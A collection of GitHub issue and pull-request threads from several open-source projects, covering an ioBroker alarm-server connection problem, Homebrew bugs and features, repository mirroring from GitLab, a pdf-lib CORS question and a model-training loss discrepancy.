Cc: OberfragGER @.>; Author @.>
Betreff: Re: [Hirsch-DE/ioBroker.vds2465-server] Identnumber already connected (Issue #2)
Hallo,
das ist wirklich komisch. Bei Deiner Anlage ist eine stehende Verbindung eine bessere Wahl, bei den ganzen Meldungen die Übertragen werden. Dabei kann man im Wählgerät die Störungsmeldung zur EMA bei Unterbrechung zu ioBroker deaktivieren.
Teste aber mal wieder über GitHub die Version 0.1.7, da habe ich bei diesem Problem eine kurze Pause einprogrammiert.
MfG
Thomas
—
Reply to this email directly, view it on GitHub https://github.com/Hirsch-DE/ioBroker.vds2465-server/issues/2#issuecomment-1416313036 , or unsubscribe https://github.com/notifications/unsubscribe-auth/AG2TLQKUHU3HE5XCBSE4SALWVVMHZANCNFSM6AAAAAAUG2SXOU .
You are receiving this because you authored the thread. https://github.com/notifications/beacon/AG2TLQOPP43U7RPOAAV6ORTWVVMHZA5CNFSM6AAAAAAUG2SXOWWGG33NNVSW45C7OR4XAZNMJFZXG5LFINXW23LFNZ2KUY3PNVWWK3TUL5UWJTSUNM4MY.gif Message ID: @.*** @.***> >
—
Reply to this email directly, view it on GitHub[https://github.com/Hirsch-DE/ioBroker.vds2465-server/issues/2#issuecomment-1416351933], or unsubscribe[https://github.com/notifications/unsubscribe-auth/AKOH2I7EKNBHRTZSGSA73KLWVVQ6RANCNFSM6AAAAAAUG2SXOU].
You are receiving this because you modified the open/close state.[Verfolgungsbild][https://github.com/notifications/beacon/AKOH2I45ZD6DJ5MGZQ2AWFTWVVQ6RA5CNFSM6AAAAAAUG2SXOWWGG33NNVSW45C7OR4XAZNMJFZXG5LFINXW23LFNZ2KUY3PNVWWK3TUL5UWJTSUNPIL2.gif]

Ah. Okay. Danke für die Aufklärung. Dann muss ich das dann bedenken.
VG
Michael
Von: Thomas Hirschfeld @.>
Gesendet: Freitag, 3. Februar 2023 21:19
An: Hirsch-DE/ioBroker.vds2465-server @.>
Cc: OberfragGER @.>; Author @.>
Betreff: Re: [Hirsch-DE/ioBroker.vds2465-server] Identnumber already connected (Issue #2)
Im Wählgerät wird bei Unterbrechung einer stehenden Verbindung das Störungsrelais aktiviert, was zur Störungsanzeige in der EMA führt. Da kann man unterbinden!
03.02.2023 21:11:21 OberfragGER @.*** mailto:***@***.*** >:

Moin,
die 0.17 ist installiert. Sobald der Techniker wiederkommt, werde ich dann in der Anlage auf „stehend“ umschalten lassen. Die Bewegungsmeldung im Keller, EG und OG verursachen halt auch jede Menge. Denke mal da kommt der Hauptteil des Traffic her.
Ich habe den Setz „Dabei kann man im Wählgerät die Störungsmeldung zur EMA bei Unterbrechung zu ioBroker deaktivieren.“ nicht verstanden bzw. weiss nicht was du mir damit sagen möchtest. Meinst du damit:
Wenn es ein Störung der stehenden Verbindung gibt, kann man die dabei entstehenden Störungsmeldung im ioBroker deaktivieren?
Jetzt schaun wir mal. Ich meld mich was ich so beobachte.
VG
Michael
Von: Thomas Hirschfeld @.*** mailto:***@***.*** >
Gesendet: Freitag, 3. Februar 2023 20:31
An: Hirsch-DE/ioBroker.vds2465-server @.*** mailto:***@***.*** >
Cc: OberfragGER @.*** mailto:***@***.*** >; Author @.*** mailto:***@***.*** >
Betreff: Re: [Hirsch-DE/ioBroker.vds2465-server] Identnumber already connected (Issue #2)
Hallo,
das ist wirklich komisch. Bei Deiner Anlage ist eine stehende Verbindung eine bessere Wahl, bei den ganzen Meldungen die Übertragen werden. Dabei kann man im Wählgerät die Störungsmeldung zur EMA bei Unterbrechung zu ioBroker deaktivieren.
Teste aber mal wieder über GitHub die Version 0.1.7, da habe ich bei diesem Problem eine kurze Pause einprogrammiert.
MfG
Thomas
—
Reply to this email directly, view it on GitHub https://github.com/Hirsch-DE/ioBroker.vds2465-server/issues/2#issuecomment-1416313036 , or unsubscribe https://github.com/notifications/unsubscribe-auth/AG2TLQKUHU3HE5XCBSE4SALWVVMHZANCNFSM6AAAAAAUG2SXOU .
You are receiving this because you authored the thread. https://github.com/notifications/beacon/AG2TLQOPP43U7RPOAAV6ORTWVVMHZA5CNFSM6AAAAAAUG2SXOWWGG33NNVSW45C7OR4XAZNMJFZXG5LFINXW23LFNZ2KUY3PNVWWK3TUL5UWJTSUNM4MY.gif Message ID: @.*** mailto:***@***.*** @.*** mailto:***@***.*** > >
—
Reply to this email directly, view it on GitHub[https://github.com/Hirsch-DE/ioBroker.vds2465-server/issues/2#issuecomment-1416351933], or unsubscribe[https://github.com/notifications/unsubscribe-auth/AKOH2I7EKNBHRTZSGSA73KLWVVQ6RANCNFSM6AAAAAAUG2SXOU].
You are receiving this because you modified the open/close state.[Verfolgungsbild][https://github.com/notifications/beacon/AKOH2I45ZD6DJ5MGZQ2AWFTWVVQ6RA5CNFSM6AAAAAAUG2SXOWWGG33NNVSW45C7OR4XAZNMJFZXG5LFINXW23LFNZ2KUY3PNVWWK3TUL5UWJTSUNPIL2.gif]

—
Reply to this email directly, view it on GitHub https://github.com/Hirsch-DE/ioBroker.vds2465-server/issues/2#issuecomment-1416358962 , or unsubscribe https://github.com/notifications/unsubscribe-auth/AG2TLQJ6VGNBQUC7UKYEEEDWVVR2BANCNFSM6AAAAAAUG2SXOU .
You are receiving this because you authored the thread.  https://github.com/notifications/beacon/AG2TLQJPZFXH5NVNMXHWHC3WVVR2BA5CNFSM6AAAAAAUG2SXOWWGG33NNVSW45C7OR4XAZNMJFZXG5LFINXW23LFNZ2KUY3PNVWWK3TUL5UWJTSUNPWDE.gif Message ID: @.*** @.***> >

Hallo,
mal wieder eine kleine Anpassung, vielleicht ist ja diese Änderung hilfreich.
Eine kurze Frage, ist jeder Bewegungsmelder eine eigene Linie, oder sind mehrere Melder auf einer Linie zusammen gefasst?
MfG
Thomas

authors: Hirsch-DE OberfragGER


text:
Feature/examples and debug projects

Separate projects that are examples from the ones that are used to tests/debug.

:white_check_mark: Build HodStudio.EfDiffLog 34-eylbhpwb completed (commit https://github.com/HodStudio/EfDiffLog/commit/0dc13254cf by @Cussa)

authors: AppVeyorBot Cussa

repo: HodStudio/EfDiffLog


text:
Create 0000-01-02-Holloww1.md

akk

kk


text:
Pulling into Github

How do you properly clone this into Unity. When I try to do it I get a lot of compile errors that are hard to find. For example I get alot of unfound scrip errors and errors with the managers

Also could you provide a " bare minimum" copy with nothing pre built

repo: HolmanDev/Physics-based-vehicles


text:
Extend SimulateSystem to MacOS.version

Verification

[X] This issue's title and/or description do not reference a single formula e.g. brew install wget. If they do, open an issue at https://github.com/Homebrew/homebrew-core/issues/new/choose instead.

Provide a detailed description of the proposed feature
Currently, we use SimulateSystem in a few places to allow us to evaluate on_system blocks without having to change physical machines. This would extend that to allow us to simulate the system version. The difficult thing would be adding this in in such a way that it doesn't break current installs/builds when people are simulating things (using environment variables for instance).
What is the motivation for the feature?
This is needed to easily and accurately evaluate if a cask/formula runs on a specific OS. We could use this information to exclude unsupported OS versions from audits and the like.
Recent discussion in:

https://github.com/Homebrew/homebrew-cask/pull/154556#discussion_r1319331199
https://github.com/Homebrew/brew/pull/15943#issuecomment-1705696797
https://github.com/Homebrew/brew/pull/15977#issue-1885179100

How will the feature be relevant to at least 90% of Homebrew users?
It would potentially reduce CI time somewhat since audits take less time and some command output would be more relevant since it could skip over unsupported casks/formulae. I haven't looked at CI though so I'm not sure if it will be relevant there.
What alternatives to the feature have been considered?
Option 1
We could mandate not defining depends_on macos: inside on_system blocks and only define them in the base level of the cask. This would require a new linter rule but then we wouldn't need to simulate anything to get the macOS version requirement for a cask.
For example, https://github.com/Homebrew/homebrew-cask/pull/154556 changed some PRs to use the version array syntax which while being slightly more verbose ends up allowing us to tell the supported OS versions without simulating anything.
depends_on macos: [
  :catalina,
  :big_sur,
]

Option 2
We could rewrite the on_system DSL to automatically update a global MacOSRequirement for each on_system stanza. This would be a bit magical though and would require changing a large number of casks along with adding new linter rules but would just work without forcing people to think about where to put the depends_on macos: rules.

Does anyone know if this is also relevant on the formula side?

repo: Homebrew/brew


text:
brew update not working — bad substitution error on update.sh

Please follow the general troubleshooting steps first:

[X] Ran brew update and retried your prior step?

I tried to.

[X] Ran brew doctor, fixed as many issues as possible and retried your prior step?
[X] If you're seeing permission errors tried running sudo chown -R $(whoami) $(brew --prefix)?

Bug reports:
I just installed OSX El Capitan and now brew update doesn't work. I have followed these instructions: https://ohthehugemanatee.org/blog/2015/10/01/how-i-got-el-capitain-working-with-my-developer-tools/
Then I tried things like changing permissions, pulling it from origin again and doing a hard reset, uninstalling Homebrew and installing it again, and so on. The error remains. I can run brew doctor and it doesn't report any errors other than a few unlinked files that I installed myself. I just can't run brew update (the whole problem started because I ran brew doctor and it recommended that I run brew update). Xcode is installed too. Anyway here's what shows up when I run brew update:
mv: rename /usr/local/Library/Taps/homebrew-versions, to /usr/local/Library/Taps/homebrew/homebrew-versions/homebrew-versions,: No such file or directory
/usr/local/Library/Homebrew/cmd/update.sh: line 58: ${#${tap_dir_basename//[^-]}}: bad substitution

And here's the content of line 58 and the following ones, in update.sh:
if [[ ${#${tap_dir_basename//[^\-]}} -gt 1 ]]
then
        echo "Homebrew changed the structure of Taps like <someuser>/<sometap>." >&2
        echo "So you may need to rename $HOMEBREW_LIBRARY/Taps/$user/homebrew-$repo manually." >&2
      fi
    else
      echo "Homebrew changed the structure of Taps like <someuser>/<sometap>. " >&2
      echo "$tap_dir is an incorrect Tap path." >&2
      echo "So you may need to rename it to $HOMEBREW_LIBRARY/Taps/<someuser>/homebrew-<sometap> manually." >&2
    fi
Any idea what this is about?

What is the output of ls -AlF /usr/local/Library/Taps and ls -AlF /usr/local/Library/Taps/*?

What is the output of ls -AlF /usr/local/Library/Taps and ls -AlF /usr/local/Library/Taps/*?

Nevermind! I was able to reproduce this locally and fixed the bug. Thanks for reporting it! Can you please do the following one last time and report back whether it worked this time?
cd /usr/local
git checkout master
git fetch origin
git reset --hard origin/master
brew update

cc @xu-cheng Do 93e0f4f9465978460d411f27214e19ae3fc4d294 and 500f9eada854c1939bf9a0caf94085214c9399b0 need to be backported to Homebrew/legacy-homebrew?

@UniqMartin
It worked! Thank you!

@UniqMartin I think so. Thanks for catching this.

I think so. Thanks for catching this.

Done in https://github.com/Homebrew/legacy-homebrew/commit/43dda695290bb4fcc5ed458759ce797c41abb83e and https://github.com/Homebrew/legacy-homebrew/commit/f0b70e5725662377ea2feb14f59e407bd7071fe0.

authors: UniqMartin geleiademocoto xu-cheng


text:
Mac 10.13.3 while install HomeBrew it will throw

When I use  /usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)" this script to install HomeBrew,the terminal will throw a OpenSSL error。
the error is : fatal: unable to access 'https://github.com/Homebrew/brew/': LibreSSL SSL_connect: SSL_ERROR_SYSCALL in connection to github.com:443
Failed during: git fetch origin master:refs/remotes/origin/master --tags --force
How to solve it. thanks

This is something specific to your machine that you will need to resolve.

Also:

Please note we will close your issue without comment if you delete, do not read or do not fill out the issue checklist below and provide ALL the requested information. If you do not read fill out the issue template repeatedly you will be blocked from ever submitting issues to Homebrew again.

If you add the necessary information this issue may be reopened.


text:
There should be a mechanism stopping inadvertent major-version upgrades

When performing brew upgrade or brew upgrade <formula>, the default behaviour should not allow for major version upgrades – at least not for complicated software like PostrgreSQL.
The reason behind this is that those upgrades often stop software from working as intended, as many major-version updates are not fully backwards compatible – and in the case of PostgreSQL they are actually worlds apart.
5 minute googling session showed that I was by far not the only one who managed to unwillingly jump from PosgtreSQL 9.6 to 10.5 in a mere console command – and, while I do admit, that I erroneously used brew upgrade instead of brew update – there was no way to simply reverse what I did when I realised my mistake.

On a side note: I managed to broke my databases completely when I decided to just go with it and use brew postgresql-upgrade-database which failed and now my local databases for both 9.6 and 10.5 are completely empty.
If anyone knows wether brew postgresql-upgrade-database creates a backup of databases before attempting to update and where to find it – I'd be much obliged

Do not run brew upgrade without arguments if you wish to avoid this behaviour. Also, I recommend using Time Machine or similar so you can recover from similar incidents. Finally, please always fill out the issue template (as it told you to do).

authors: MikeMcQuaid ellmo


text:
ENV/super: add Python's libexec/"bin" directory when applicable

[x] Have you followed the guidelines in our Contributing document?
[x] Have you checked to ensure there aren't other open Pull Requests for the same change?
[x] Have you added an explanation of what your changes do and why you'd like us to include them?
[ ] Have you written new tests for your changes? Here's an example.
[x] Have you successfully run brew style with your changes locally?
[x] Have you successfully run brew typecheck with your changes locally?
[ ] Have you successfully run brew tests with your changes locally?

When Homebrew/homebrew-core#107517 is merged, builds will no longer be
able to find python@3.9 as python3. This is also what is likely to
happen to python@3.10 when we add a python@3.11.
This is likely to break many builds, so let's make sure they can keep
finding a python3 for formulae that don't have a dependency on the
latest Python3.
This is arguably something we should've done earlier: it also means that
builds that go looking for an unversioned python end up finding our
Python3 (whenever present in the build environment) instead of, say,
/usr/bin/python which is typically Python2.

Review period will end on 2022-08-11 at 14:57:18 UTC.

Review period ended.

authors: BrewTestBot carlocab


text:
README: Switch from HackerOne to GitHub for vulnerability reporting

[x] Have you followed the guidelines in our Contributing document?
[x] Have you checked to ensure there aren't other open Pull Requests for the same change?
[x] Have you added an explanation of what your changes do and why you'd like us to include them?
[ ] Have you written new tests for your changes? Here's an example.
[ ] Have you successfully run brew style with your changes locally?
[ ] Have you successfully run brew typecheck with your changes locally?
[ ] Have you successfully run brew tests with your changes locally?

This was launched yesterday, we were early adopters. I (independently, zero pressure from my employer) think there's benefit in a centralized vulnerability reporting mechanism that's closer to the code and easier for researchers to find.

Review period ended.


text:
audit: throttled formulae

[x] Have you followed the guidelines in our Contributing document?
[x] Have you checked to ensure there aren't other open Pull Requests for the same change?
[ ] Have you added an explanation of what your changes do and why you'd like us to include them?
[ ] Have you written new tests for your changes? Here's an example.
[x] Have you successfully run brew style with your changes locally?
[x] Have you successfully run brew tests with your changes locally?

cc @ilovezfs

Nice!

Neat! I really appreciate more human review being turned into audits. 🚢 when ready.

authors: MikeMcQuaid commitay ilovezfs


text:
brew doctor:Failed to import: flann

After i install opencv on brew, i run brew doctor, and i got this new errors:
Error: Failed to import: flann
undefined method deprecated_option' for Flann:Class Error: Failed to import: gromacs undefined method deprecated_option' for Gromacs:Class
Error: Failed to import: hdf5
undefined method deprecated_option' for Hdf5:Class Error: Failed to import: infernal undefined method deprecated_option' for Infernal:Class
Error: Failed to import: nauty
undefined method deprecated_option' for Nauty:Class Error: Failed to import: netcdf undefined method deprecated_option' for Netcdf:Class
Error: Failed to import: petsc
undefined method deprecated_option' for Petsc:Class Error: Failed to import: slepc undefined method deprecated_option' for Slepc:Class
Error: Failed to import: vtk
undefined method deprecated_option' for Vtk:Class Error: Failed to import: vtk5 undefined method deprecated_option' for Vtk5:Class
so, how can i get rid of the new errors?

Make sure you're up-to-date with brew update && brew upgrade. If the error persists afterwards, please report this to Homebrew/homebrew-science as the formulae involved in the errors above are their formulae.

repo: Homebrew/homebrew-versions


text:
Moved to GitLab

This repo is out of date, the latest version is on:
https://gitlab.com/honeyryderchuck/httpx
Perhaps it's best to archive this repo to avoid confusion

Hi,
This github repo is supposed to be a mirror of the upstream from gitlab you just linked. However, mirroring has been broken since github deprecated its API usage when using basic auth, first for 2FA-enabled accounts, then for everyone recently.
The other issue is that gitlab's mirroring feature only supports basic auth for https-based mirrors, so until gitlab supports using access tokens for mirroring, this mirror will remain outdated.
For documentation, I've created a feature request in the gitlab project, if you want to follow up on that.
I'll leave your issue open, for anyone who might be interested on the why.

@HoneyryderChuck I have a server that I am using to back up all of my Git repos outside of GitHub. If you want to, you can add my machine account (kandr-admins) to this repo, then I can have Jenkins pull from GitLab (I can to this already with public access) and push here using my existing SSH auth. I'll just add it to my nightly script, or create something custom with a shorter interval. This could be a possible workaround until something more desirable is supported across GitHub and GitLab.

@karlwilbur thank you, but I'd rather own this process.

Please add a link to https://gitlab.com/honeyryderchuck/httpx here

eg.

@noraj done

I guess this issue can be closed now 😃

Well, it doesn't resolve the original issue of this repo being out of date. I believe that setting up a sync system as I suggested will address that, at which point we could close the issue.

what @karlwilbur said. It's not out-of-date as of now though, as I did a manual update. Ticket remains open though.

The Gitlab -> Github mirror is not automatic? you push updates manually?
Here is how setup a push mirror from GitLab to GitHub. I have done it for several repositories, it works well.
I even found a way to "sync" issues and PRs.

That setup doesn't work for me, see https://github.com/HoneyryderChuck/httpx/issues/1#issuecomment-790939052

That setup doesn't work for me, see #1 (comment)

I read that but I still don't see the point, you don't need basic auth for push mirror since both repository are public, just use access token. In the password field you are no supposed to put your Github password but the private token you generated from Personal access tokens.

I see, I had never tried setting the token as the password.
However, that doesn't seem to be enough in my case:

@HoneyryderChuck FWIW, I'm still willing to get you set up on my Jenkins mirroring schedule (described in my earlier comment), if only as an interim solution while you get something in place which better suits your needs. PGP-signing your commits, a good practice in any case, would ensure that no corruption or nefarious changes occur on my end.
I understand and don't disagree with the desire to own the process and I am not trying to change your mind on that; only saying that I am still willing to help.

Another solution, if you have a server with some resources to spare, would be to set up a cron job somewhere and mirror to that server, then push that mirror to GitHub. I think that this is essentially what Jenkins is doing, only in Java instead of Bash+cron.
If you think that would work for you, I can write some scripts and push them up as a Gist.

@karlwilbur I didn't change my opinion, however, I'm deeply appreciative that the community is willing to put their resources available for this, thank you for that.
I actually thought about the cronjob possibility, but I'm settling in a git post-hook that'll push to a (or many) backup(s) on push to master. Still have to do it though. A bit brittle and single point of failure, but it's a reasonable workaround until all this gets automated.

I just made a PoC with the new token and it works like a charm.
Check full repo control for the access token:

On the Gitlab end don't forget to put your username and use the .git at he end in the URL then access token as password.

The feature work and is not broken, you must have made a mistake most probably in the URL.

I tried it again, and seems to have worked!
AFAIK there was nothing wrong with the URLs, however I set full repo permissions on the token, instead of just public_repo, like the gitlab documentation states. Maybe that's what caused it, @noraj ?
Seems I can finally close this issue then :) Thx everyone.

In theory public_repo should be enough:

Limits access to public repositories. That includes read/write access to code, commit statuses, repository projects, collaborators, and deployment statuses for public repositories and organizations. Also required for starring public repositories.

I set full perm for my PoC to be sure and my production syncs are using old token format before permissions where such fine grained. You could test with public_repo only this should work in theory.

authors: HoneyryderChuck karlwilbur noraj shaicoleman

repo: HoneyryderChuck/httpx


text:
Importing existing PDF 'URL scheme "file" is not supported.'

What were you trying to do?
I'm trying to modify an existing PDF. I have previously used this library this way and have had no issue. I even copied and pasted the code from both the place where I know it was working, and from the installation instructions, as well as taken a demo code from a different GitHub issue and tried to run that right away and the same thing happens.
How did you attempt to do it?
Ways I've tried to do it is my using the PDF as a local file.
async function modifyPdf() {
      const url = 'camper.pdf'
      const existingPdfBytes = await fetch(url).then(res => res.arrayBuffer())

      const pdfDoc = await PDFDocument.load(existingPdfBytes)
      const helveticaFont = await pdfDoc.embedFont(StandardFonts.Helvetica)

      const pages = pdfDoc.getPages()
      const firstPage = pages[0]
      const { width, height } = firstPage.getSize()
      firstPage.drawText('This text was added with JavaScript!', {
          x: 5,
          y: height / 2 + 300,
          size: 50,
          font: helveticaFont,
          color: rgb(0.95, 0.1, 0.1),
          rotate: degrees(-45),
      })
      const pdfDataUri = await pdfDoc.saveAsBase64({ dataUri: true });
      const pdfBytes = await pdfDoc.save();
      document.getElementById('pdf').src = pdfDataUri;

  }

Take note of URL.
Another way I've tried is uploading the PDF onto a webhost
  async function modifyPdf() {
        const url = 'https://www.glmdfilehosting.com/camperorder/camper.pdf'
        const existingPdfBytes = await fetch(url).then(res => res.arrayBuffer())

        const pdfDoc = await PDFDocument.load(existingPdfBytes)
        const helveticaFont = await pdfDoc.embedFont(StandardFonts.Helvetica)

        const pages = pdfDoc.getPages()
        const firstPage = pages[0]
        const { width, height } = firstPage.getSize()
        firstPage.drawText('This text was added with JavaScript!', {
            x: 5,
            y: height / 2 + 300,
            size: 50,
            font: helveticaFont,
            color: rgb(0.95, 0.1, 0.1),
            rotate: degrees(-45),
        })
        const pdfDataUri = await pdfDoc.saveAsBase64({ dataUri: true });
        const pdfBytes = await pdfDoc.save();
        document.getElementById('pdf').src = pdfDataUri;

    }

Another thing I tried was the URL from the instructions on the main website for this library.
async function modifyPdf() {
        const url = 'https://pdf-lib.js.org/assets/with_update_sections.pdf'
        const existingPdfBytes = await fetch(url).then(res => res.arrayBuffer())

        const pdfDoc = await PDFDocument.load(existingPdfBytes)
        const helveticaFont = await pdfDoc.embedFont(StandardFonts.Helvetica)

        const pages = pdfDoc.getPages()
        const firstPage = pages[0]
        const { width, height } = firstPage.getSize()
        firstPage.drawText('This text was added with JavaScript!', {
            x: 5,
            y: height / 2 + 300,
            size: 50,
            font: helveticaFont,
            color: rgb(0.95, 0.1, 0.1),
            rotate: degrees(-45),
        })
        const pdfDataUri = await pdfDoc.saveAsBase64({ dataUri: true });
        const pdfBytes = await pdfDoc.save();
        document.getElementById('pdf').src = pdfDataUri;

    }

And this worked.... The only thing I changed was the URL.
What actually happened?
Using just the url of 'camper.pdf' produced the following error. 52 Fetch API cannot load file:///C:/URL/camper.pdf. URL scheme "file" is not supported.
However using the whole URL domain. 'https://www.glmdfilehosting.com/camperorder/camper.pdf' I get a CORS error...
If I upload the script files onto the same webhost and use the local url of camper.pdf I have no errors but the iframe source is just white and doesn't fetch the PDF correctly.
What did you expect to happen?
I expect that with the URL of 'https://www.glmdfilehosting.com/camperorder/camper.pdf' that it'll get the pdf document alter it and show it in the iframe.
How can we reproduce the issue?
Execute this code
const { degrees, PDFDocument, rgb, StandardFonts } = PDFLib

    async function modifyPdf() {
        const url = 'https://www.glmdfilehosting.com/camperorder/camper.pdf'
        const existingPdfBytes = await fetch(url).then(res => res.arrayBuffer())

        const pdfDoc = await PDFDocument.load(existingPdfBytes)
        const helveticaFont = await pdfDoc.embedFont(StandardFonts.Helvetica)

        const pages = pdfDoc.getPages()
        const firstPage = pages[0]
        const { width, height } = firstPage.getSize()
        firstPage.drawText('This text was added with JavaScript!', {
            x: 5,
            y: height / 2 + 300,
            size: 50,
            font: helveticaFont,
            color: rgb(0.95, 0.1, 0.1),
            rotate: degrees(-45),
        })
        const pdfDataUri = await pdfDoc.saveAsBase64({ dataUri: true });
        const pdfBytes = await pdfDoc.save();
        document.getElementById('pdf').src = pdfDataUri;

    }

This is how I get a CORS error.
Or go to https://www.glmdfilehosting.com/camperorder/camper.pdf download the pdf and then perform
const { degrees, PDFDocument, rgb, StandardFonts } = PDFLib

    async function modifyPdf() {
        const url = 'camper.pdf'
        const existingPdfBytes = await fetch(url).then(res => res.arrayBuffer())

        const pdfDoc = await PDFDocument.load(existingPdfBytes)
        const helveticaFont = await pdfDoc.embedFont(StandardFonts.Helvetica)

        const pages = pdfDoc.getPages()
        const firstPage = pages[0]
        const { width, height } = firstPage.getSize()
        firstPage.drawText('This text was added with JavaScript!', {
            x: 5,
            y: height / 2 + 300,
            size: 50,
            font: helveticaFont,
            color: rgb(0.95, 0.1, 0.1),
            rotate: degrees(-45),
        })
        const pdfDataUri = await pdfDoc.saveAsBase64({ dataUri: true });
        const pdfBytes = await pdfDoc.save();
        document.getElementById('pdf').src = pdfDataUri;

    }

And this will produce the URL scheme "file" is not supported. error
Version
1.4.0
What environment are you running pdf-lib in?
Browser
Checklist

[X] My report includes a Short, Self Contained, Correct (Compilable) Example.
[X] I have attached all PDFs, images, and other files needed to run my SSCCE.

Additional Notes
I am just running straight vanilla javascript.

Hello @BBGun007! You're error is unrelated to pdf-lib itself. Looks like you're having trouble using the fetch API. I'd recommend doing some research on CORS, fetch, and loading local files into a script in a browser. In general, you'll need to use a HTTP server of some sort (unless you're writing a Node script).
Google is your friend, but here's a few links that might help get you started:

https://stackoverflow.com/questions/50007055/fetch-request-to-local-file-not-working
https://stackoverflow.com/questions/49971575/chrome-fetch-api-cannot-load-file-how-to-workaround/59925724#59925724

You can also check out pdf-lib's web integration tests to see how they're setup to load local files.

repo: Hopding/pdf-lib


text:
Plans for releasing training logs

Hello @Yihanhu , thank you for your impressive work. I have attempted to reproduce the training results on nuPlan using the provided configs, but the training loss (around 3.8) consistently differs significantly from the checkpoint (around 1.0) you provided. Any comments on the training process? Or do you have any plans to release the logs or provide more details (such as the number of GPUs, training settings, pre-trained models, etc.)? Thank you very much.

Hi @zhouyunsong, the training process you described seems abnormal. The loss should typically drop below 1 fairly quickly. The training log is currently being reproduced; please wait for a moment.

Thanks for your replay! For ease of reproduction, I run the train_nuplan_model_v1_1.sh on 8 A100 GPUs, the model is set to gump_nuplan_llama_sm_v1_1. I would also like to ask if the model needs to be trained in multiple stages (e.g. image encoder, embedder, transition_model, token_decoder) or is a one-time TRAIN FROM SCRATCH just fine?

Train from scratch is fine, the training process seems ok on my end. Did you check tensorboard visualization at each epoch end? Is the training target normal?

The training target seems okay:

But the visualization after 15 epochs is not good (the loss is around 3.2 at this point):

Here is a reference config file in exp log, please correct me If there's anything wrong.
config.txt

Could you try to set the shuffle=true right here?(https://github.com/HorizonRobotics/GUMP/blob/main/nuplan_extent/planning/script/config/common/model/gump_nuplan_lamma_sm_v1_1.yaml#L28)
May I know how many samples in your training set?

here is the training loss

Sincerely thank you for your help! I'll try to train again with the modified config and let you know the final results.

Hi @zhouyunsong ,I am facing a similar problem—the loss remains high and doesn't drop significantly. Were you able to resolve this issue? If so, could you share any insights or changes you made to get it working? Thank you!

authors: Keirra0116 Yihanhu zhouyunsong

repo: HorizonRobotics/GUMP


text:
Typescript-eslint issues and storybook improvements

Changes proposed in this pull request:

Fixes typescript-eslint issues
Improves toaster storybook
Adds confirm storybook

LGTM

repo: HospitalRun/components


text:
Custom Via Header Support

Exposed custom via header.

Updated to incorporate feedback.

repo: HotelsDotCom/styx


text:
Support query stores in endpoints

This PR adds the necessary bits to support using a query store inside of a endpoint. the biggest difference between an endpoint and the other contexts is that fetch must be provided by the user explicitly (since we don't want to assume node fetch)
closes #402

Wow thank you @AlecAivazis for such a fast move!

authors: AlecAivazis liweihan

repo: HoudiniGraphql/houdini


text:
Added code for "Abbreviations, easy"

Added https://rosettacode.org/wiki/Abbreviations,_easy

Sorry I haven't gotten to this! Do you mind rebasing?

@euclio Should work now :)

authors: Polochon-street euclio

repo: Hoverbear/rust-rosetta